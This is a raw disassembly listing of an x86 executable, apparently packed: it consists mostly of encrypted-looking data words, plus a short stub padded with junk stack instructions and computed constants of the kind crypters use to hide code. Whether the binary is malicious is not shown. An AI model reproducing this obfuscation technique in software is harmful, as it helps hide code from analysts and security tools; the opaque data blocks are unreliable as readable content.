		dd 0E1E1C0BBh, 34FF71B0h, 0BA666003h, 820F132Bh, 14h, 0FE9h
		dd 0D5D6B700h, 454264AAh, 49D16h, 75268366h, 81665E61h
		dd 81AB04C9h, 8C670BEEh, 58F0F6Eh, 0BA000000h, 3D05940Ah
		dd 6319C681h, 5CB10533h, 20C4F681h, 850F2967h, 0Ch, 7E9h
		dd 0F36A8200h, 491C4A56h, 0C8B70F56h, 0E918048Fh, 9, 0F0E5A6E5h
		dd 1181F75Ch, 0BE9A7h, 0C64D0000h, 0D92A41A9h, 2BF620C8h
		dd 3EB8370h, 8B664BF5h,	54FB81D6h, 0FFFFF8Bh, 1885h, 7830F00h
		dd 50000000h, 17D28166h, 1FE95F58h, 15000000h, 0E141D91h
		dd 0E95A5229h, 0FFFFFF4Eh, 0F80CD2DDh, 0DB1C9C4Eh, 421961EAh
		dd 24516528h, 0EDE9220Bh, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0FA19F9B5h, 0FE8307h, 22850Fh, 85C60000h
		dd 7FA1571h, 69696845h,	0B5FF8E72h, 7FA1229h, 3A58858Dh
		dd 0D0FF07FEh, 1C0D8589h, 0F08B07FAh, 0FE93E80h, 3185h
		dd 8B858D00h, 0FF080081h, 6DBD8BD0h, 8107FA13h,	1184C7h
		dd 0F9B58B00h, 8707FA19h, 8B9F7h, 0A4F30000h, 19F9B58Bh
		dd 858D07FAh, 7FEFDC1h,	0B58BD0FFh, 7FA0425h, 0F00FE83h
		dd 2285h, 7185C600h, 5407FA15h,	4EBEF468h, 29B5FFFFh, 8D07FA12h
		dd 0FE3A5885h, 89D0FF07h, 0FA042585h, 80F08B07h, 850FE93Eh
		dd 3Ah,	425B58Bh, 858D07FAh, 800818Bh, 0BD8BD0FFh, 7FA136Dh
		dd 1184C781h, 0C7830000h, 25B58B08h, 8707FA04h,	8B9F7h
		dd 0A4F30000h, 425B58Bh, 858D07FAh, 7FEFDC1h, 0C361D0FFh
		dd 4EE3858Dh, 85890804h, 7FA20A5h, 24E9h, 85110F00h, 5Eh
		dd 7 dup(0)
		dd 0A8AE900h, 83680000h, 0E9080452h, 0FFF62EC8h, 4534F68h
		dd 2EBEE908h, 0B268FFF6h, 0E9080456h, 0FFF62EB4h, 122AAAh
		dd 0D82AD200h, 0FB070198h, 0EE24DEF3h, 0D240C412h, 6472E204h
		dd 824E32E0h, 67709082h, 8E4925DDh, 5BB9E74h, 59D3C2E1h
		dd 5D391BC2h, 0D48E9541h, 29A5C259h, 7250D91Bh,	12663661h
		dd 0B2F1B7C2h, 755F2D45h, 385BF7BAh, 65930495h,	0B9D5DB69h
		dd 0EC083A95h, 0D58E9563h, 0DAE7CA5Dh, 47634FADh, 5DD5849Bh
		dd 0C3D4DDCAh, 1AE81AB5h, 7F898E16h, 0FF4E71FCh, 0DAAD5781h
		dd 1DB612A8h, 0E0F10DE7h, 565A695Ah, 0A771B44Eh, 5C2B7B07h
		dd 0B61C405Ch, 0AADD768Eh, 57D68446h, 49AD11D2h, 0C2636B1Ah
		dd 6B5E8571h, 0EAB7C263h, 0AE8CFBC8h, 6FE06D2h,	361A962Dh
		dd 746B579Ah, 0CDC2636Bh, 24B1CF04h, 3A4DE61Eh,	43CED6C2h
		dd 0CECB3676h, 1FC3EDh,	59C263F7h, 0A6B93F48h, 0C5C263F7h
		dd 0E1FDF70Dh, 22AA4AF0h, 8BED99B2h, 269D3B32h,	0D07086C3h
		dd 0CFD908ECh, 0C430C263h, 0C263D09Dh, 0BC05ADF6h, 0CFD1D0F4h
		dd 992AC263h, 917477EEh, 26FD1C0h, 6E1D3h, 6D593500h, 0C263CC76h
		dd 83D403CFh, 64ED8C51h, 12F4286Fh, 6920BC2h, 12852103h
		dd 7C44442Bh, 0F623CD94h, 824E327Bh, 0DEA98282h, 1CBA0EACh
		dd 0B9D5DBE8h, 32F2F1D5h, 764BCA5Dh, 48A56711h,	3E22D257h
		dd 6C735F92h, 0C5C2631Eh, 2C0C7FCh, 0D3715Eh, 53A5F0C0h
		dd 15A5BC28h, 0B5FEC263h, 0E684B21Fh, 743CE0A1h, 0DA4782A8h
		dd 1FD9BE8Eh, 0BFC85375h, 0B1ABEE2h, 64C4FD86h,	7842484Fh
		dd 2167774h, 0FDA5CFD6h, 299B28C4h, 0E7DDEEB5h,	126E7DC9h
		dd 0B10FC4B6h, 40002CDh, 0AE46FED8h, 0D7E9AE25h, 23C97B3h
		dd 8E472902h, 0D0B79074h, 0F74E1E28h, 864F2BCCh, 0E8AF787Ch
		dd 1312B6DAh, 6CBD032Ah, 0AC886C57h, 8AFD07D0h,	22C6E278h
		dd 0BD032A03h, 27D9F45Ch, 0E589279Ch, 903057EDh, 0DF48A42Ch
		dd 0EEEB8A87h, 0DCFF26D2h, 4B58BD03h, 193CB43Ch, 2A77C4FEh
		dd 0A7BE2A86h, 0B509A2h, 0B8D4E4B3h, 0EB093B94h, 88433562h
		dd 4A5FC577h, 644C9F62h, 9746180h, 0DAE9BAB5h, 0F0B2CED6h
		dd 935B53A5h, 1AAA8604h, 23D1AD86h, 6C8CFBD4h, 0BF418C61h
		dd 4A576C45h, 0D40B1C84h, 5002EF51h, 4F000007h,	638B7781h
		dd 413DD56Fh, 5EA270AAh, 3B43CF75h, 0B3A17193h,	0EF15C193h
		dd 4FF1DB23h, 0F012BBC3h, 51F3DE22h, 3EAA16C1h,	0C259D227h
		dd 1216E680h, 9CDFA1C2h, 0F3A44956h, 0D941490Fh, 3980D2E7h
		dd 2347695Ah, 0D35B99ABh, 0CA157438h, 0EE992A62h, 0C0126E52h
		dd 0A8EFB83Ch, 61F5B2D0h, 387849D2h, 0D1DCF854h, 2C05FF05h
		dd 0C610F097h, 4EB7593Fh, 289B55A9h, 517A3888h,	5C3FE481h
		dd 0BBDFDF2Bh, 0DC0C369Fh, 0C25A17C5h, 0E2EB951Eh, 8D493760h
		dd 8C47AA24h, 0AA36172h, 4453F7B9h, 4EA66077h, 1EB64E85h
		dd 6E453CF2h, 32656E0Eh, 4192EECAh, 0F824CCBBh,	59C25976h
		dd 6126DCF5h, 178AB41Fh, 0C6BACE47h, 8449368Eh,	83000006h
		dd 1F5FB34Dh, 757989B3h, 1A56AC66h, 6F8F83B9h, 9F25DD67h
		dd 53F1DD77h, 0EB15BFBFh, 44FED717h, 1D27B2CEh,	7A5E62E5h
		dd 0C259D16Bh, 12D2A2C4h, 241B4AAEh, 5F74CA5Eh,	30885238h
		dd 0CE579DA7h, 7BDFBB05h, 7C55AF51h, 5E24756Ch,	24B2CECAh
		dd 3CDB320h, 5D2A0301h,	7449775Bh, 82DED262h, 7F48AC50h
		dd 8C462A18h, 9C151379h, 0F0E3C095h, 197521E3h,	59C6B6ADh
		dd 0D5C20FC2h, 59C6001Bh, 8EB71FC2h, 7E2218AFh,	0E90BB858h
		dd 0C63EC40Dh, 0A54A83EDh, 592D2241h, 9D267BC2h, 7D5CE357h
		dd 0D174F8D1h, 2A99E1C1h, 4590ECCCh, 507039BBh,	5A0F7DA4h
		dd 0BACDD6C2h, 0D478C823h, 4C4146FEh, 0D91941Dh, 0EEC30B6Fh
		dd 0CA55FE5h, 60743DB7h, 55ADF3F6h, 651285D1h, 3F6h, 646E129Fh
		dd 11C2408Dh, 4B2D5AF3h, 5A867E80h, 0C58FC67Fh,	934B5A7Eh
		dd 0FA4CA5Dh, 0C0BCC0C5h, 6D11AD13h, 8821E361h,	5D684160h
		dd 9AD2ACCAh, 8539001h,	246E19AAh, 1895401Ch, 0B83C8781h
		dd 0D862A8EFh, 4AAA5280h, 29D3FF81h, 0EFD102CBh, 0B7F827CBh
		dd 8051CA5Dh, 29852917h, 797B8945h, 0B81948B0h,	6172CA5Dh
		dd 0B86C735Fh, 0FCC5CA5Dh, 0CE8BE58Bh, 6448D257h, 63A16180h
		dd 9EE9BAC2h, 0CDB10FA4h, 2C05FF05h, 0ADF5A15Bh, 7081DC50h
		dd 0D99FE8E2h, 0C263ADC6h, 995BE9E5h, 16EE14BDh, 0FC599015h
		dd 98A843FAh, 9EB25B4h,	1E00841h, 0B32072A8h, 2CB0A1E4h
		dd 0BC04026Fh, 6E5D8F4Eh, 0A6593EF4h, 91h, 0AAFEDCE6h
		dd 5AB182Ch, 14C06969h,	0CA5E240Dh, 8E665D66h, 0CAE6D2C5h
		dd 121187FAh, 37601906h, 578FD3C1h, 2BA4C8D2h, 4552DB19h
		dd 46922D75h, 95AD99C3h, 3032823Eh, 84CE4B82h, 832FCDBAh
		dd 0D4FDEAE7h, 0C6FDD62Eh, 7EF2A52Eh, 0C2638B63h, 56AE5682h
		dd 5C98AC2Ah, 92BF1AABh, 0FCE8C474h, 0C2638AE5h, 8DB7223Eh
		dd 55945136h, 6F1CA3B2h, 17ADF502h, 76FC4899h, 0A342B5E2h
		dd 66000001h, 241F515Eh, 931DDADFh, 6379302Fh, 4F3889C2h
		dd 606E124Dh, 8720E4h, 0AC2CD500h, 4116DB80h, 0ABCFF1E2h
		dd 4FD81C26h, 605E8571h, 0EAB7CA5Dh, 5733DF9Dh,	5D60746Bh
		dd 0A105CDCAh, 44732286h, 8F7116ADh, 273EAA47h,	80CA5D5Fh
		dd 0B864A033h, 7F083894h, 42595681h, 30A32CC8h,	0BE6EC90h
		dd 729241C3h, 3A97D9h, 2D51ED97h, 0F5DEA2A0h, 9D38484Fh
		dd 5F7DA450h, 3994CA5Dh, 5E64ED07h, 58876B55h, 0B1CA5D5Fh
		dd 0B10DB320h, 5D5F1E45h, 862A77CAh, 5D5F4362h,	80079CCAh
		dd 5AA62E12h, 0DFEA9D0Eh, 4A4BB27h, 0B4FDCA5Eh,	0BB00781Fh
		dd 5ECA5E08h, 0A430D402h, 0D983BE44h, 3642553Dh, 8D87169Bh
		dd 0CBF5DE67h, 2CA8AF03h, 0A7D2A4Fh, 0D9CC080h,	2F58F113h
		dd 0AE297D5Bh, 656E9441h, 9F82526Eh, 534F1ABFh,	6E52EE99h
		dd 0C11EFE66h, 4354FE5Ch, 5AAFF9ADh, 2BA6CAD2h,	342B9719h
		dd 8DC26035h, 5B675344h, 0EF34E267h, 0A2560E22h, 17C9FCC8h
		dd 28446C57h, 405F83AEh, 0ABC2610Fh, 0F7FCAFCFh, 743D8521h
		dd 0EEFD615Fh, 0C7A76334h, 96BCF50Fh, 3FC6B3F7h, 321F8E5h
		dd 0B0200000h, 5C767A88h, 87165AA8h, 5879758Dh,	469070A2h
		dd 608254BEh, 0D82ADAF4h, 0E043C98h, 0B35FE5F2h, 14FE00CBh
		dd 544B7745h, 0ADC259CEh, 6E12C3D7h, 0C9B7E064h, 95B9F70Dh
		dd 65EE063Ch, 0B4D8D832h, 5E241110h, 2E596ACAh,	0AC2A8752h
		dd 0E9852B98h, 0E23057EDh, 0AF5582DEh, 23BEE511h, 8A17CA5Eh
		dd 0AE1217FDh, 5E241B4Ah, 755F74CAh, 0ED9AAEF9h, 30503748h
		dd 8D159BA5h, 9C6714F6h, 0AD57408Ah, 5A7EC111h,	1E779A77h
		dd 5F4C8779h, 0B8F8CB75h, 0F5F74EE8h, 8FF88758h, 0D3330503h
		dd 25AE46F8h, 606E12AEh, 8720E4h, 0D5005C40h, 0C7C4982Ch
		dd 6172598Eh, 678DB71Fh, 6F3FB9DEh, 2AD257C0h, 22436286h
		dd 2E9AC263h, 0C2632237h, 0DF7F4390h, 20A94BF5h, 0BAE90DB3h
		dd 13C26321h, 0CFAB15BEh, 1CF8FC06h, 6321A9B8h,	22B102C2h
		dd 2FA7C375h, 0E5EE16C2h, 0C13BFDBh, 65C26321h,	0DFDF2B5Ch
		dd 8329FBBh, 8E9563ECh,	0E7C26321h, 1843ADDAh, 77C26321h
		dd 0AE46F8D3h, 4B867225h, 2F93F7B9h, 0C2632130h, 0C34F3889h
		dd 0CE485FFBh, 921FB7C9h, 0A808BB41h, 9450A118h, 62EB093Bh
		dd 56C0BC72h, 0FF88BC1Ah, 0D1F59985h, 0C26272D2h, 798B432Bh
		dd 7621B27Bh, 1C689h, 8C3A700h,	0DA1A14A3h, 96828251h
		dd 62733332h, 8C378CC2h, 6E1219FBh, 0D4B6E163h,	1C20B206h
		dd 89983CD8h, 0E2CA5E24h, 1ABE02D1h, 0CA5E240Bh, 3C844F64h
		dd 9C61FD74h, 0D7A4C2Ch, 0E3EB8F2Bh, 0CB271062h, 0AF24BA38h
		dd 650B7C55h, 0D261951Bh, 83894B8h, 863463ECh, 7E55EFEAh
		dd 6B7A5E42h, 0C4C258F5h, 40DCA8EFh, 378DB71Ch,	0F8AA6BA5h
		dd 837522A9h, 0D7696348h, 813F941Dh, 0E3AAB91Dh, 0AE03C258h
		dd 298529E9h, 58E3A6BDh, 0E5B2FFC2h, 0D6073893h, 0A4BB2756h
		dd 0FDC258A2h, 98F720B4h, 405F832Dh, 99C25862h,	99F5BB08h
		dd 0FD339409h, 0EBFD186Dh, 0C25894F4h, 6913844Dh, 1B21B1CDh
		dd 0E0A3046Ch, 0A12E18D9h, 587561A3h, 0F964AAAh, 0B36B7FCCh
		dd 48F4EBD7h, 844D6BD7h, 0AF8F4A13h, 0DE586F0Bh, 445B8D26h
		dd 9D6BD749h, 5A758314h, 0F9B808A8h, 7BDB00D4h,	12AB3852h
		dd 45DE4BC2h, 54F8B852h, 0AA5A767Bh, 47926E19h,	8D1A7ABEh
		dd 27CB8A6Eh, 6BD7E5F8h, 2D538051h, 0CD669EA4h,	11EABAF6h
		dd 5094BCD6h, 0AB87F5A2h, 0FAFA04CFh, 7438A331h, 18217875h
		dd 0A740916Fh, 0D725243Bh, 70923B6Bh, 0E6C8252h, 0C2701EE7h
		dd 62FEC211h, 9C35CF75h, 696591EBh, 0AE3D19DBh,	40C00C74h
		dd 5D7CF5C4h, 5A99C1F1h, 982B7061h, 9C009C40h, 0D7E72938h
		dd 0C731826Bh, 6BD7E798h, 2EB7E0F1h, 0E5438BABh, 1FCE2E9h
		dd 2FD56F63h, 1E5A2D96h, 7D8191B3h, 0D1735D52h,	87299A33h
		dd 38483337h, 2275E86Fh, 0FCF6BE5Ah, 0E3E29FB3h, 148E7116h
		dd 0B2000000h, 400CEh, 784BC5D4h, 8D330D0Fh, 0A460DAF1h
		dd 0D2987C0Bh, 0DEFAFA02h, 0C7B351F3h, 0E410F40Eh, 0C09C58E8h
		dd 0EA16EE16h, 0C09C58ECh, 0EF0BE913h, 0BAA65ED8h, 7220E418h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	eax
		mov	eax, 64D67A70h
		not	eax
		sub	eax, 7E677A38h
		mov	edx, eax
		pop	eax
		sub	edx, 14BDBB2Fh
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, edi
		mov	[esi+8], edx
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dw 4393h
		dd 0B3C1B125h, 0D49C869Eh, 459F8B8h, 0FFC50308h, 0F9F9A7E0h
		dd 0E69D5360h, 50510328h, 106E0C56h, 2A66BB45h,	54E46E60h
		dd 820AC90Bh, 9996D5Ah,	0C3BBDB00h, 508F6547h, 0A08D8D4Ah
		dd 8908045Bh, 0FA08859Dh, 0C18D8907h, 6A07FA27h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0F775C355h, 0F5B523A0h, 6607FA32h, 174FCB81h, 1C0185C7h
		dd 6AE807FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0F9964CC3h, 1AED85C7h, 7FAh, 0BF0F0000h
		dd 51B5FFF7h, 6A07FA26h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0B879C353h,	810F975Ah
		dd 0Eh,	870F60h, 89000000h, 0FA0191BDh,	95FF6107h, 7FA177Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 12C35545h
		dd 89C1BF0Fh, 0FA161995h, 0FF006A07h, 0FA012D95h, 0EBC08B07h
		dd 79A6615Dh, 0FE2EBE37h, 0AEB917BEh, 5A6B99F6h, 72869CF8h
		dd 20BB1EACh, 6C841723h, 0B71BD5E1h, 0D77DCF91h, 0FE9F4124h
		dd 0E847E9BDh, 14E402BAh, 0EE3729F7h, 0D2C16E83h, 86DAF888h
		dd 89DBD190h, 2A8AA758h, 27E2C454h, 0C38C6107h,	0A32B775Dh
		dd 36F75BA6h, 5F57FC4Ah, 0D1525DFh, 27E9614Ah, 9A000000h
		dd 5210C5C4h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h
		dd 3 dup(0)
		dd 0F3E90000h, 68000024h, 804609Fh, 0F6229FE9h,	62C668FFh
		dd 95E90804h, 68FFF622h, 8046856h, 0F6228BE9h, 6A3568FFh
		dd 81E90804h, 68FFF622h, 80471F7h, 0F62277E9h, 734968FFh
		dd 6DE90804h, 68FFF622h, 80473A1h, 0F62263E9h, 762068FFh
		dd 59E90804h, 68FFF622h, 8047786h, 0F6224FE9h, 782968FFh
		dd 45E90804h, 68FFF622h, 8047C00h, 0F6223BE9h, 7E8168FFh
		dd 31E90804h, 27FFF622h, 7B838FA9h, 1955AD57h, 767A8882h
		dd 135BA75Dh, 0CB7989BBh, 172DA9ABh, 37C903EBh,	182AA3CBh
		dd 39CB06EAh, 16C2FEC9h, 0C259C80Fh, 120E0E68h,	0F27D4BC2h
		dd 0AA361DBh, 6DBC62BAh, 9A387D87h, 6433A029h, 9788B914h
		dd 5F54FE82h, 77D3DDE6h, 0C760A45Eh, 0F45844C0h, 8C4729DBh
		dd 0F8D32572h, 0DF25DFF3h, 17337D46h, 6D1780BAh, 0DA09EDD1h
		dd 33CA5D37h, 0CE07F99Eh, 0D2B09121h, 78E91009h, 5DFA7170h
		dd 0CAF9CACAh, 0B84C8AE6h, 5824733Ch, 54B0507Ch, 5E96AE28h
		dd 828259ECh, 7C55AF55h, 91ED9147h, 6C45BF45h, 97A7421Bh
		dd 0F9D0CFF3h, 9829CA5Dh, 0E9C611EFh, 18B153E9h, 3DA905ABh
		dd 0CA5DFA26h, 0A565327Fh, 0C8696509h, 5DFA051Ch, 7E555ECAh
		dd 55EFE719h, 0A826636Bh, 9B04DE3h, 7D8670BBh, 0BDCA5F3Ah
		dd 854D714Dh, 62611EE0h, 0D7CE1A27h, 30CA5D2Ch,	0C904F4A3h
		dd 695AEAE4h, 9AAB2347h, 2D388AEDh, 64A0338Dh, 5440BCCBh
		dd 0E4958C38h, 0F300CA5Dh, 0E39C6A5Bh, 30576C46h, 0C17C8550h
		dd 2FD1FC60h, 2FC3EFA5h, 0A9401CA4h, 0FA69785Ch, 0F1C2CA5Dh
		dd 278922E2h, 5DFAA4BBh, 0E3B4FDCAh, 0EBE38727h, 0B8139B59h
		dd 2A50154Dh, 8E7423B0h, 0CC616CCCh, 5D3AF928h,	528152CAh
		dd 0FF6F3F81h, 992394AFh, 8C933F81h, 0E5CA5D71h, 0B10DABDCh
		dd 40002CDh, 5A945C2Bh,	17D25788h, 5B504F73h, 18A9C263h
		dd 5B352C98h, 458EC263h, 995B6852h, 0A93BB5FDh,	1E52505Ch
		dd 9FDCFF79h, 0D6FBC263h, 1DACC82Ch, 2848E123h,	0EA5E96AEh
		dd 33D3805Bh, 51EBE783h, 0F06D1AB3h, 816549F9h,	0C263A062h
		dd 1FA35979h, 4270E593h, 0B90A0610h, 0B1AEBFCEh, 5E02026Fh
		dd 2C20D471h, 84DB10FFh, 0EC9B54Fh, 47B8DFF4h, 92h, 3AC80569h
		dd 76A6F1BAh, 0E1636E12h, 606D4B6h, 0FA421DBFh,	0E1DFF4B8h
		dd 58481FF5h, 9A3814D2h, 0E9853562h, 456B58D2h,	0DE667D69h
		dd 0F2BFC263h, 1F3BD7A5h, 0E4F28E88h, 7C0BA460h, 63DDE9F4h
		dd 0E4F108C2h, 886C57E9h, 25DF616Ch, 72669C39h,	9B5BF8F3h
		dd 0CC765FFBh, 6DF89F28h, 6F2CE6Eh, 0C263DDDFh,	756C5838h
		dd 0CEC263DEh, 0C4C9CE05h, 26FC395h, 1FC3E7h, 6BC263DAh
		dd 0FA18B96Bh, 31824042h, 516614A3h, 8BFC9924h,	1FAECh
		dd 0C2122800h, 0E124AB29h, 88781FF2h, 710DB34Dh, 3E94DC66h
		dd 17038106h, 0C5996087h, 0A55A1B59h, 0D3D7709Dh, 4F31566Dh
		dd 57337D87h, 5D78746Bh, 9304CDCAh, 0EDC20DE9h,	0F5A163E1h
		dd 5D77D2D1h, 2D962BCAh, 90748E43h, 4CE80CB7h, 5B99A330h
		dd 18B3C5D2h, 0FF053F93h, 37139D26h, 0DB37609Ah, 5D7CEF0Bh
		dd 0DDEC90CAh, 6808A163h, 962FD56Fh, 0E7C40FF1h, 8F8350EAh
		dd 0E3C7646Fh, 5D72E0FFh, 806839CAh, 0CA5D7361h, 63A15B78h
		dd 0E8DBE8CAh, 0E100E4C8h, 3ACA5D72h, 0BA661E69h, 7B0C3896h
		dd 7C55B187h, 0D7B3FDC6h, 4DA75973h, 736D7484h,	0FDC6CA5Dh
		dd 6E12AE8Ah, 8C24E064h, 1BAE553Fh, 11764DCFh, 57F16167h
		dd 0CF0A66D2h, 4C586235h, 7DE34BF4h, 268A393Bh,	0F92BC9Eh
		dd 5A2D5DD9h, 5D6C10B0h, 0CCEB4E3h, 0E61E26ACh,	6A3A764Dh
		dd 0B9148D69h, 7F59173Eh, 21663FC5h, 0B31F7B1Fh, 0C26371ACh
		dd 9B5FBD05h, 0D7E04170h, 0A4D59BECh, 4FCA60A9h, 2A58876Bh
		dd 0BBC3BA66h, 794AB808h, 36617250h, 0A1C0248Ch, 0FABA66C3h
		dd 0E961AA9h, 0B54E96DBh, 0E0E0A720h, 0ED0E0BCh, 0E1E6E57Eh
		dd 112342A6h, 277CBA67h, 8FB62060h, 0A93A2BE5h,	0F220B316h
		dd 5F86724Eh, 0B8BA663Fh, 725C9CEBh, 72AA537Fh,	598C9D99h
		dd 0C5DCE7DCh, 0CEAD24DAh, 0D0BC99FBh, 3300001Fh, 0CFAF639Dh
		dd 0E509F903h, 0CAA65CD6h, 0DF1FF309h, 0FB54DF7h, 0E3616DE7h
		dd 7B854F2Fh, 0D46E6787h, 6D97423Eh, 0EA0EB295h, 0C259C3BBh
		dd 12A27214h, 989FB1C2h, 5D6D352Ch, 8F458ECAh, 701769C3h
		dd 2BE4690h, 0F12BC29Eh, 5DC6D807h, 34A031CAh, 0F56E814Fh
		dd 32E0A730h, 9FC6328Eh, 0F8CA5DDDh, 319CDCABh,	0DCC9D8FCh
		dd 9122CA5Dh, 1E367E42h, 2D634190h, 0A231CB08h,	484FF5DEh
		dd 488AE6CAh, 12B1E3B4h, 22E2626Eh, 48F13B89h, 4E5CBCFEh
		dd 1F774149h, 763A89B3h, 2749C3DAh, 390790AAh, 5841C78Dh
		dd 37A0BCD2h, 0A0C07A0Dh, 61EA0A32h, 0D76C735Fh, 0FCC5C263h
		dd 0ED912DC7h, 892060E2h, 6D70088Fh, 8CC263D7h,	1844C040h
		dd 937F85BFh, 63D7302Fh, 633889C2h, 2CCA8762h, 5BE5F08Ch
		dd 0CAD9FD99h, 23C263D6h, 8B52458Eh, 7D8CF050h,	0A0B1D4C3h
		dd 0F4026FC8h, 0FFFDD0ACh, 77207BACh, 18D08h, 7D20400h
		dd 0AEBB3FDh, 2735B7F6h, 67B45C3Ah, 487BD2D7h, 75D9C53Fh
		dd 8049AB59h, 58EDE917h, 1E7020A9h, 0A11FB483h,	0A4CAD9FDh
		dd 3B23CA5Dh, 33646F91h, 0A9D925C9h, 9F3ACA5Dh,	8823C566h
		dd 8F4589DFh, 0FCCD0A78h, 2BD7EC77h, 56D0E783h,	7A844F31h
		dd 776E5A36h, 0D0CA5D91h, 4CE89403h, 0ED9AA230h, 0D4E34315h
		dd 6347695Ah, 5D91607Fh, 0DCE8B9CAh, 0F0B8FCE9h, 0AF91F649h
		dd 0DE586F0Bh, 35493FB9h, 324ED258h, 49F99EA6h,	6332DA79h
		dd 656E96B2h, 2BD4FF5Bh, 0E375E348h, 0B450837Eh, 221E6C1Bh
		dd 874B5A7Eh, 0FA4C263h, 60B88288h, 9C35CF49h, 49258927h
		dd 94AE238Ch, 9BECD770h, 60C393D5h, 2B5060CAh, 0C5580206h
		dd 0ACF5C5D2h, 49FBBC04h, 4969DF0Ah, 821E823Eh,	66A54F56h
		dd 0DC08A8BAh, 0BA66A4C5h, 593E951Eh, 9742AF27h, 7F85BF1Ah
		dd 4ED71DA6h, 735F3B85h, 0BA66A56Ch, 0FAB84A83h, 8C34DEA9h
		dd 395EE6F0h, 0F2768F47h, 0D1FA951Fh, 338695Ah,	0D2CEAE0Ah
		dd 1DA98572h, 0C40C0000h, 28AAC63Ch, 0EB02FE14h, 349DE131h
		dd 0D2FC040Eh, 0CCF6E032h, 4CB64E88h, 6A98A824h, 47BB4986h
		dd 8092AC27h, 0E0FFE3D9h, 39C259C1h, 0AE12571Bh, 5E241B4Ah
		dd 385F74CAh, 0AB238E48h, 2A862A99h, 6C7C8846h,	0CA5E2475h
		dd 0C6580FE0h, 0ECC60DC4h, 1E62B0D7h, 71933EB3h, 0BC38C20Fh
		dd 0BCE0E0F3h, 5DDD0918h, 465162CAh, 7D2C0CCh, 0DD172DAAh
		dd 1D417F54h, 0DD768EB4h, 0AB2652AAh, 0CB6F809Ah, 0CAF93A0Dh
		dd 0CB287838h, 0A505F20Ah, 5D80F89Fh, 0BCCA5E1Ch, 880F09A0h
		dd 1DA35D78h, 8CA52B95h, 0C0C75B59h, 0C5126E52h, 9BECC53Fh
		dd 0CBD1725Dh, 3D649083h, 96CA5D4Bh, 6DDCB70Dh,	12C1438Dh
		dd 705BFFC1h, 53B1537Bh, 22AB497Ah, 4F2B0775h, 0B37C7882h
		dd 88BAE90Dh, 0BE13CA5Dh, 0BF2CA7D9h, 410AEA14h, 2E922E92h
		dd 5D889BCAh, 19DFF4CAh, 0CA5D880Ah, 0BB494E63h, 0E80C369Fh
		dd 0C143FD0Ch, 0F3607BF2h, 6E6408B8h, 56821ED6h, 0CA5D884Fh
		dd 0DFA81BA8h, 4B53E306h, 5FEDC000h, 78880FA6h,	7A82505Dh
		dd 9E22B17Ah, 9AED17C2h, 886C50F0h, 0CA5DD359h,	400CEB2h
		dd 0EB9C2700h, 95D44B1Ah, 55811D05h, 0CA5DC74Eh, 0DCD66C65h
		dd 0D13FC0C7h, 61000001h, 6730D2FDh, 646E1235h,	0E2E329E1h
		dd 8E45698Bh
		dd 32370109h, 5CE0F28Eh, 0B8880F98h, 150CB8D4h,	2CCA5D4Fh
		dd 0CC659FA1h, 46AADDE6h, 0D257583Ch, 92913559h, 0EBC26346h
		dd 0CB74983h, 369FBF7Bh, 0A9F9B70Ch, 8C49AF74h,	1FB57E76h
		dd 0B3E407B0h, 0A5516D49h, 0C2640E7Eh, 70F2C7E9h, 3979E1E3h
		dd 46591F68h, 65C2638Eh, 401CD86Ah, 74666F96h, 0AF7E23FBh
		dd 7F48E024h, 0BE156609h, 678201D7h, 0E5F938EBh, 0C013C453h
		dd 0A95C7F46h, 26F36B8h, 0DC64700Ch, 1364CABh, 506C0000h
		dd 63657DA4h, 0E3CDD6C2h, 6364E0FFh, 1F6839C2h,	0B4C212FDh
		dd 0BC07AF62h, 0DA046C1Bh, 37CA5DA0h, 1285BF13h, 39626AF0h
		dd 0B686F48Bh, 0C111AF24h, 775CEBB7h, 369E27CDh, 507BF6ACh
		dd 467D56AEh, 89537F41h, 66D257D8h, 0BC38CC0Ah,	0BA96A4F3h
		dd 28DAE923h, 56EEE488h, 0B15EFE6Eh, 47505538h,	0BF149D39h
		dd 88973B85h, 0E1C263C9h, 0F5BD03D0h, 0D206ED65h, 0B9435411h
		dd 0B234D5DDh, 0ED78E015h, 267162E0h, 0D40256E4h, 3D649030h
		dd 96C263E8h, 96FAB60Dh, 63E83332h, 0C0248CC2h,	0C263E8A1h
		dd 6D1AA9FAh, 468BEFCBh, 286F38BCh, 5DF50650h, 31ABF3CAh
		dd 0C89D5E5Dh, 361A286Fh, 0C48D679Dh, 4CDB10Fh,	0F5F999FEh
		dd 46C0D7D8h, 56AE25AEh, 8652A634h, 2CD0027Eh, 0ECD4FFC8h
		dd 0FB3500D0h, 7E352C98h, 458EBA69h, 3E0CEA8Fh,	0A81D9F59h
		dd 163AC263h, 43FF88BCh, 688CB61Bh, 0E34A1DFh, 4A665DF6h
		dd 73638266h, 0E7BCB26Fh, 324EF2A0h, 0BA669EA6h, 6F73170Eh
		dd 706370B2h, 131DD827h, 68380000h, 0D877E9D0h,	869D495Bh
		dd 0DFB26F88h, 869601D2h, 1B4AAE12h, 74CA5E24h,	8852385Fh
		dd 245D8470h, 0EDB6CA5Eh, 12B6DAD6h, 0CA5E2413h, 7193A92Ah
		dd 0A7C9DAD8h, 56EF152Fh, 4F2B8F31h, 0AD867EB8h, 2B7C16DAh
